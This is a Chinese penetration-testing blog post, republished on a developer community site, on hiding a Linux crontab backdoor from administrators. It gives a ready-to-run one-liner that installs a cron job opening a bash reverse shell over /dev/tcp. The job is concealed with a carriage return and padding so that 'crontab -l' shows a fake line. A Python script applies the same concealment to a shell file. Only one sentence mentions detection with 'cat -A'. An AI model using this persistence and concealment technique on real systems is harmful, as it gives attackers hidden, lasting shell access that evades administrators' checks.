前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >linux-隐藏你的crontab后门

linux-隐藏你的crontab后门

作者头像
drunk_kk
发布2021-03-23 15:27:09
4.2K1
发布2021-03-23 15:27:09
举报
文章被收录于专栏:渗透测试教程渗透测试教程

crontab定时后门

crontab是用来定期执行程序的命令,crond 命令每分钟会定期检查是否有要执行的工作,如果有要执行的工作便会自动执行该工作。 注意: 新创建的 cron 任务,不会马上执行,至少要过 2 分钟后才可以,当然你可以重启 cron 来马上执行

比如我们通过redis写crontab后,管理员上线 执行 crontab-l 就会查看到我们留下的可疑命令。那么我们如果躲避管理员的查看呢?

其实 crontab-l 是查看保存在这里 /var/spool/cron/crontabs/root文件。路径里的root对应每个用户不同的crontab

隐藏crontab命令

我们清除之前的cron, 使用如下命令隐藏你的后门

(crontab-l;printf"*/60 * * * * exec 9<> /dev/tcp/127.0.0.1/8888;exec 0<&9;exec 1>&9 2>&1;/bin/bash --noprofile -i;\rno crontab forwhoami %100c\n")|crontab -

这时候,管理员 crontab-l ,或者查看记录文件都看不到定时任务了

这个后门还是存在的,应该怎么看到呢?

使用 cat-A xxx 就可以看到隐藏的后门了。

原理

原理就是cat一些比如 \r 回车符 \n 换行符 \f 换页符这些符号导致了隐藏。

这里用python制作一个隐藏的sh。

代码语言:javascript
复制
cmd_h = "echo 'You forgot to check `cat -A`!' > oops" # 隐藏
cmd_v = "echo 'You see me!'"                         # 显示

with open("test.sh", "w") as f:
    output = "#!/bin/sh\n"
    output += cmd_h + ";" + cmd_v + " #\r" + cmd_v + " " * (len(cmd_h) + 3) + "\n"
    f.write(output)

然后用 cat-A查看, cat-A 表示展示所有,等同于 -vET

这个技巧不单可以用在crontab,根据其他场景也可以使用。

师傅!右下角点赞、在看是免费的 (๑•̀ㅂ•́)و✧

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2021-03-08,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 渗透测试教程 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • crontab定时后门
  • 隐藏crontab命令
  • 原理
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档